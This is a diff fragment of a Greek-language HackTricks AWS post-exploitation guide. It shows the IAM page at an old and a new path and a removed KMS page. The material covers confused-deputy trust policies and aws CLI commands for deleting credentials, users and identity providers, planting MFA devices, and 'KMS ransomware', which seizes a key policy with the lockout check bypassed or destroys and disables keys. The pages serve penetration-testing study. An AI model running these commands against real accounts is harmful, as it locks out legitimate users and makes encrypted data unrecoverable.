||||
}
|
||||
```
|
||||
Αυτή η πολιτική **επιτρέπει σε οποιονδήποτε λογαριασμό** να διαμορφώσει το apigateway του για να καλέσει αυτό το Lambda.
|
||||
|
||||
#### S3 ως principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **διαγράψατε το bucket και ο attacker δημιούργησε** αυτό σε δικό τους account, τότε θα μπορούσαν να το εκμεταλλευτούν.
|
||||
|
||||
#### Δεν υποστηρίζεται
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Ένας συνηθισμένος τρόπος για να αποφευχθούν προβλήματα Confused Deputy είναι η χρήση μιας συνθήκης με `AWS:SourceArn` για τον έλεγχο του origin ARN. Ωστόσο, **κάποιες υπηρεσίες ενδέχεται να μην το υποστηρίζουν** (όπως το CloudTrail σύμφωνα με ορισμένες πηγές).
|
||||
|
||||
### Διαγραφή διαπιστευτηρίων
|
||||
Με οποιοδήποτε από τα ακόλουθα permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — ένας actor μπορεί να αφαιρέσει access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates ή CloudFront public keys, ή να αποσυνδέσει roles από instance profiles. Τέτοιες ενέργειες μπορούν άμεσα να αποκλείσουν νόμιμους χρήστες και εφαρμογές και να προκαλέσουν denial-of-service ή απώλεια πρόσβασης για συστήματα που εξαρτώνται από αυτά τα διαπιστευτήρια, οπότε αυτά τα IAM permissions πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Διαγραφή Ταυτότητας
|
||||
Με δικαιώματα όπως `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ή `iam:RemoveUserFromGroup`, ένας φορέας μπορεί να διαγράψει χρήστες, ρόλους ή ομάδες — ή να αλλάξει τη συμμετοχή σε ομάδα — αφαιρώντας ταυτότητες και σχετικές ενδείξεις. Αυτό μπορεί να διακόψει άμεσα την πρόσβαση για άτομα και υπηρεσίες που εξαρτώνται από αυτές τις ταυτότητες, προκαλώντας denial-of-service ή απώλεια πρόσβασης, γι' αυτό αυτές οι ενέργειες IAM πρέπει να περιορίζονται αυστηρά και να παρακολουθούνται.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Με οποιαδήποτε από τις παρακάτω άδειες — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — ένας παράγοντας μπορεί να διαγράψει ή να αποσυνδέσει διαχειριζόμενες/ενσωματωμένες πολιτικές, να αφαιρέσει εκδόσεις πολιτικής ή όρια δικαιωμάτων, και να αποσυνδέσει πολιτικές από χρήστες, ομάδες ή ρόλους. Αυτό καταστρέφει εξουσιοδοτήσεις και μπορεί να αλλάξει το μοντέλο δικαιωμάτων, προκαλώντας άμεση απώλεια πρόσβασης ή άρνηση υπηρεσίας για οντότητες που εξαρτώνταν από αυτές τις πολιτικές, γι' αυτό αυτές οι ενέργειες IAM πρέπει να είναι αυστηρά περιορισμένες και να παρακολουθούνται.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Διαγραφή Ομοσπονδιακής Ταυτότητας
|
||||
Με `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, και `iam:RemoveClientIDFromOpenIDConnectProvider`, ένας δράστης μπορεί να διαγράψει παρόχους ταυτότητας OIDC/SAML ή να αφαιρέσει client IDs. Αυτό διακόπτει την ομοσπονδιακή αυθεντικοποίηση, αποτρέποντας την επικύρωση των tokens και αρνώντας άμεσα την πρόσβαση σε χρήστες και υπηρεσίες που βασίζονται σε SSO μέχρι να αποκατασταθεί ο IdP ή να αποκατασταθούν οι ρυθμίσεις.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Illegitimate MFA Activation
|
||||
Με το `iam:EnableMFADevice`, ένας δράστης μπορεί να καταχωρήσει μια συσκευή MFA στην ταυτότητα ενός χρήστη, αποτρέποντας τον νόμιμο χρήστη από το να συνδεθεί. Μόλις ενεργοποιηθεί μια μη εξουσιοδοτημένη συσκευή MFA, ο χρήστης μπορεί να αποκλειστεί μέχρι να αφαιρεθεί ή να επαναρυθμιστεί η συσκευή (σημείωση: αν έχουν καταχωρηθεί πολλαπλές συσκευές MFA, η σύνδεση απαιτεί μόνο μία, οπότε αυτή η επίθεση δεν θα έχει αποτέλεσμα στην άρνηση πρόσβασης).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Παραποίηση μεταδεδομένων πιστοποιητικών/κλειδιών
|
||||
Με τις `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, ένας επιτιθέμενος μπορεί να αλλάξει την κατάσταση ή τα μεταδεδομένα δημόσιων κλειδιών και πιστοποιητικών. Επισημαίνοντας κλειδιά/πιστοποιητικά ως ανενεργά ή τροποποιώντας αναφορές, μπορεί να διακόψει τον έλεγχο ταυτότητας SSH, να ακυρώσει τις επικυρώσεις X.509/TLS και να διαταράξει άμεσα υπηρεσίες που εξαρτώνται από αυτά τα διαπιστευτήρια, προκαλώντας απώλεια πρόσβασης ή διαθεσιμότητας.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
# AWS - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με την πρόσβαση IAM:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Πρόβλημα Confused Deputy
|
||||
|
||||
Αν **επιτρέψετε σε έναν εξωτερικό λογαριασμό (A)** να έχει πρόσβαση σε ένα **role** στον λογαριασμό σας, πιθανόν να έχετε **0 ορατότητα** στο **ποιος ακριβώς μπορεί να έχει πρόσβαση σε αυτόν τον εξωτερικό λογαριασμό**. Αυτό είναι πρόβλημα, γιατί αν ένας άλλος εξωτερικός λογαριασμός (B) μπορεί να έχει πρόσβαση στον εξωτερικό λογαριασμό (A), είναι πιθανό ότι **και ο B θα μπορεί επίσης να έχει πρόσβαση στον λογαριασμό σας**.
|
||||
|
||||
Επομένως, όταν επιτρέπετε σε έναν εξωτερικό λογαριασμό να έχει πρόσβαση σε ένα **role** στον λογαριασμό σας, μπορείτε να καθορίσετε ένα `ExternalId`. Πρόκειται για ένα "μυστικό" string που ο εξωτερικός λογαριασμός (A) **πρέπει να δηλώσει** προκειμένου να **assume the role στην οργάνωσή σας**. Εφόσον ο **εξωτερικός λογαριασμός B δεν θα γνωρίζει αυτό το string**, ακόμα κι αν έχει πρόσβαση στον A **δεν θα μπορεί να έχει πρόσβαση στο role σας**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ωστόσο, λάβετε υπόψη ότι αυτό το `ExternalId` "μυστικό" είναι **όχι μυστικό**, ο οποιοσδήποτε μπορεί να **διαβάσει την IAM assume role policy και να το δει**. Αλλά όσο ο εξωτερικός λογαριασμός A το γνωρίζει και ο εξωτερικός λογαριασμός **B δεν το γνωρίζει**, αυτό **εμποδίζει τον B να εκμεταλλευτεί τον A για να αποκτήσει πρόσβαση στο role σας**.
|
||||
|
||||
Παράδειγμα:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": {
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "Example Corp's AWS Account ID"
|
||||
},
|
||||
"Action": "sts:AssumeRole",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"sts:ExternalId": "12345"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Για να εκμεταλλευτεί ένας επιτιθέμενος έναν confused deputy, θα χρειαστεί να βρει με κάποιο τρόπο αν οι principals του τρέχοντος λογαριασμού μπορούν να impersonate roles σε άλλους λογαριασμούς.
|
||||
|
||||
### Αναπάντεχες εμπιστοσύνες
|
||||
|
||||
#### Wildcard ως principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Αυτή η πολιτική **επιτρέπει σε όλα τα AWS** να αναλάβουν τον ρόλο.
|
||||
|
||||
#### Υπηρεσία ως principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "apigateway.amazonaws.com" },
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Αυτή η πολιτική **επιτρέπει σε οποιονδήποτε λογαριασμό** να διαμορφώσει το apigateway του ώστε να καλεί αυτό το Lambda.
|
||||
|
||||
#### S3 ως principal
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
"StringEquals": {
|
||||
"aws:SourceAccount": "123456789012"
|
||||
}
|
||||
}
|
||||
```
|
||||
Αν ένα S3 bucket δοθεί ως principal, επειδή τα S3 buckets δεν έχουν Account ID, αν **διαγράψατε το bucket σας και ο attacker το δημιούργησε** στον δικό του λογαριασμό, τότε θα μπορούσαν να το καταχραστούν.
|
||||
|
||||
#### Δεν υποστηρίζεται
|
||||
```json
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": { "Service": "cloudtrail.amazonaws.com" },
|
||||
"Action": "s3:PutObject",
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Ένας κοινός τρόπος για να αποφευχθούν τα προβλήματα Confused Deputy είναι η χρήση μιας συνθήκης με `AWS:SourceArn` για να ελεγχθεί το ARN προέλευσης. Ωστόσο, **κάποιες υπηρεσίες μπορεί να μην το υποστηρίζουν** (όπως το CloudTrail σύμφωνα με κάποιες πηγές).
|
||||
|
||||
### Διαγραφή Διαπιστευτηρίων
|
||||
Με οποιοδήποτε από τα παρακάτω permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — ένας χρήστης μπορεί να αφαιρέσει κλειδιά πρόσβασης, προφίλ σύνδεσης, κλειδιά SSH, service-specific credentials, instance profiles, πιστοποιητικά ή public keys του CloudFront, ή να αποσυνδέσει ρόλους από instance profiles. Τέτοιες ενέργειες μπορούν να μπλοκάρουν άμεσα νόμιμους χρήστες και εφαρμογές και να προκαλέσουν denial-of-service ή απώλεια πρόσβασης για συστήματα που εξαρτώνται από αυτά τα διαπιστευτήρια, οπότε αυτά τα IAM permissions πρέπει να είναι αυστηρά περιορισμένα και επιτηρούμενα.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Διαγραφή Ταυτότητας
|
||||
Με δικαιώματα όπως `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole` ή `iam:RemoveUserFromGroup`, ένας παράγοντας μπορεί να διαγράψει χρήστες, ρόλους ή ομάδες — ή να αλλάξει τη συμμετοχή σε ομάδα — αφαιρώντας ταυτότητες και σχετικά ίχνη. Αυτό μπορεί να διακόψει άμεσα την πρόσβαση για ανθρώπους και υπηρεσίες που εξαρτώνται από αυτές τις ταυτότητες, προκαλώντας denial-of-service ή απώλεια πρόσβασης, επομένως αυτές οι ενέργειες IAM πρέπει να περιορίζονται και να παρακολουθούνται αυστηρά.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Με οποιοδήποτε από τα ακόλουθα δικαιώματα — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — ένας παράγοντας μπορεί να διαγράψει ή να αποσυνδέσει managed/inline policies, να αφαιρέσει policy versions ή permissions boundaries, και να αποσυνδέσει policies από users, groups, ή roles. Αυτό καταστρέφει εξουσιοδοτήσεις και μπορεί να αλλάξει το μοντέλο δικαιωμάτων, προκαλώντας άμεση απώλεια πρόσβασης ή denial-of-service για principals που εξαρτώνταν από αυτές τις πολιτικές, γι' αυτό αυτές οι IAM ενέργειες πρέπει να είναι αυστηρά περιορισμένες και να παρακολουθούνται.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Διαγραφή Ομοσπονδιακής Ταυτότητας
|
||||
Με τις `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, και `iam:RemoveClientIDFromOpenIDConnectProvider`, ένας παράγοντας μπορεί να διαγράψει παρόχους ταυτότητας OIDC/SAML ή να αφαιρέσει client IDs. Αυτό διακόπτει την ομοσπονδιακή αυθεντικοποίηση, εμποδίζοντας την επικύρωση των tokens και αποκλείοντας άμεσα την πρόσβαση σε χρήστες και υπηρεσίες που βασίζονται στο SSO μέχρι να επαναφερθεί ο IdP ή οι ρυθμίσεις.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Μη εξουσιοδοτημένη ενεργοποίηση MFA
|
||||
Με την ενέργεια `iam:EnableMFADevice`, ένας επιτιθέμενος μπορεί να καταχωρήσει μια συσκευή MFA στην ταυτότητα ενός χρήστη, αποτρέποντας τον νόμιμο χρήστη από το να συνδεθεί. Μόλις ενεργοποιηθεί μια μη εξουσιοδοτημένη συσκευή MFA, ο χρήστης μπορεί να αποκλειστεί μέχρι να αφαιρεθεί ή να επαναρυθμιστεί η συσκευή (σημείωση: αν έχουν καταχωρηθεί πολλαπλές συσκευές MFA, η σύνδεση απαιτεί μόνο μία, οπότε αυτή η επίθεση δεν θα έχει αποτέλεσμα στον αποκλεισμό της πρόσβασης).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Παραποίηση Μεταδεδομένων Πιστοποιητικού/Κλειδιού
|
||||
Με τα `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, ένας επιτιθέμενος μπορεί να αλλάξει την κατάσταση ή τα μεταδεδομένα δημοσίων κλειδιών και πιστοποιητικών. Με το να σημειώσει κλειδιά/πιστοποιητικά ως ανενεργά ή να τροποποιήσει αναφορές, μπορεί να διακόψει την πιστοποίηση SSH, να ακυρώσει τις επικυρώσεις X.509/TLS και να διαταράξει άμεσα υπηρεσίες που εξαρτώνται από αυτά τα διαπιστευτήρια, προκαλώντας απώλεια πρόσβασης ή διαθεσιμότητας.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,182 +0,0 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` and `file://` είναι σχήματα URI που χρησιμοποιούνται στις εντολές AWS CLI για να καθορίσουν τη διαδρομή προς τοπικά αρχεία:
|
||||
|
||||
- `fileb://:` Διαβάζει το αρχείο σε δυαδική λειτουργία, συνήθως χρησιμοποιείται για αρχεία μη κειμένου.
|
||||
- `file://:` Διαβάζει το αρχείο σε λειτουργία κειμένου, συνήθως χρησιμοποιείται για αρχεία απλού κειμένου, scripts, ή JSON που δεν έχει ειδικές απαιτήσεις κωδικοποίησης.
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αν θέλετε να αποκρυπτογραφήσετε δεδομένα μέσα σε ένα αρχείο, το αρχείο πρέπει να περιέχει τα δυαδικά δεδομένα, όχι δεδομένα κωδικοποιημένα σε base64. (fileb://)
|
||||
|
||||
- Χρήση **συμμετρικού** κλειδιού
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Χρησιμοποιώντας ένα **ασύμμετρο** κλειδί:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Ένας επιτιθέμενος με προνόμια στο KMS μπορεί να τροποποιήσει την KMS policy των keys και να **παρέχει στον λογαριασμό του πρόσβαση σε αυτές**, αφαιρώντας την πρόσβαση που είχε ο νόμιμος λογαριασμός.
|
||||
|
||||
Τότε, οι χρήστες του νόμιμου λογαριασμού δεν θα μπορούν να έχουν πρόσβαση σε καμία πληροφορία από οποιαδήποτε υπηρεσία έχει κρυπτογραφηθεί με αυτά τα keys, δημιουργώντας ένα απλό αλλά αποτελεσματικό ransomware στον λογαριασμό.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **AWS managed keys aren't affected** από αυτήν την επίθεση, μόνο **Customer managed keys**.
|
||||
|
||||
> Σημειώστε επίσης την ανάγκη χρήσης της παραμέτρου **`--bypass-policy-lockout-safety-check`** (η απουσία αυτής της επιλογής στην web console καθιστά αυτή την επίθεση δυνατή μόνο από το CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι αν αλλάξετε εκείνη την policy και δώσετε πρόσβαση μόνο σε έναν external account, και έπειτα από αυτόν τον external account προσπαθήσετε να ορίσετε νέα policy για να **δώσετε την πρόσβαση πίσω στον original account, δεν θα μπορέσετε επειδή η Put Polocy action cannot be performed from a cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Υπάρχει ένας ακόμα τρόπος για να εκτελέσετε ένα global KMS Ransomware, που θα περιλαμβάνει τα παρακάτω βήματα:
|
||||
|
||||
- Δημιουργήστε ένα νέο **key με key material** που έχει εισαχθεί από τον επιτιθέμενο
|
||||
- **Επανακρυπτογραφήστε παλαιότερα δεδομένα** του θύματος που είχαν κρυπτογραφηθεί με την προηγούμενη έκδοση, χρησιμοποιώντας το νέο
|
||||
- **Διαγράψτε το KMS key**
|
||||
- Τώρα μόνο ο επιτιθέμενος, ο οποίος έχει το αρχικό key material, θα μπορούσε να αποκρυπτογραφήσει τα κρυπτογραφημένα δεδομένα
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Destroy keys
|
||||
|
||||
Η καταστροφή κλειδιών μπορεί να προκαλέσει DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι η AWS πλέον **αποτρέπει την εκτέλεση των προηγούμενων ενεργειών από cross account:**
|
||||
>
|
||||
> ### Αλλαγή ή διαγραφή Alias
|
||||
> Αυτή η επίθεση διαγράφει ή ανακατευθύνει τα AWS KMS aliases, διακόπτοντας την επίλυση κλειδιών και προκαλώντας άμεσες αποτυχίες σε οποιεσδήποτε υπηρεσίες που εξαρτώνται από αυτά τα aliases, οδηγώντας σε denial-of-service. Με δικαιώματα όπως `kms:DeleteAlias` ή `kms:UpdateAlias`, ένας επιτιθέμενος μπορεί να αφαιρέσει ή να επανακατευθύνει aliases και να διαταράξει τις κρυπτογραφικές λειτουργίες (π.χ., encrypt, describe). Οποιαδήποτε υπηρεσία που αναφέρεται στο alias αντί για το key ID μπορεί να αποτύχει μέχρι το alias να αποκατασταθεί ή να αντιστοιχιστεί σωστά.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Ακύρωση Διαγραφής Κλειδιού
|
||||
Με δικαιώματα όπως `kms:CancelKeyDeletion` και `kms:EnableKey`, ένας επιτιθέμενος μπορεί να ακυρώσει την προγραμματισμένη διαγραφή ενός AWS KMS customer master key και αργότερα να το ενεργοποιήσει ξανά. Με αυτόν τον τρόπο το κλειδί ανακτάται (αρχικά σε κατάσταση Disabled) και επανέρχεται η ικανότητά του να αποκρυπτογραφεί δεδομένα που προστατεύονταν προηγουμένως, επιτρέποντας exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Με την άδεια `kms:DisableKey`, ένας παράγοντας μπορεί να απενεργοποιήσει ένα AWS KMS customer master key, εμποδίζοντας τη χρήση του για encryption ή decryption. Αυτό διακόπτει την πρόσβαση για οποιεσδήποτε υπηρεσίες που εξαρτώνται από αυτό το CMK και μπορεί να προκαλέσει άμεσες διαταραχές ή denial-of-service μέχρι να ενεργοποιηθεί ξανά το κλειδί.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Με την άδεια `kms:DeriveSharedSecret`, ένας δράστης μπορεί να χρησιμοποιήσει ένα KMS-held private key μαζί με ένα user-supplied public key για να υπολογίσει ένα ECDH shared secret.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Με το δικαίωμα `kms:Sign`, ένας χρήστης μπορεί να χρησιμοποιήσει ένα CMK αποθηκευμένο στο KMS για να υπογράψει κρυπτογραφικά δεδομένα χωρίς να αποκαλύψει το private key, παράγοντας έγκυρες υπογραφές που μπορούν να επιτρέψουν impersonation ή να εξουσιοδοτήσουν κακόβουλες ενέργειες.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS με Custom Key Stores
|
||||
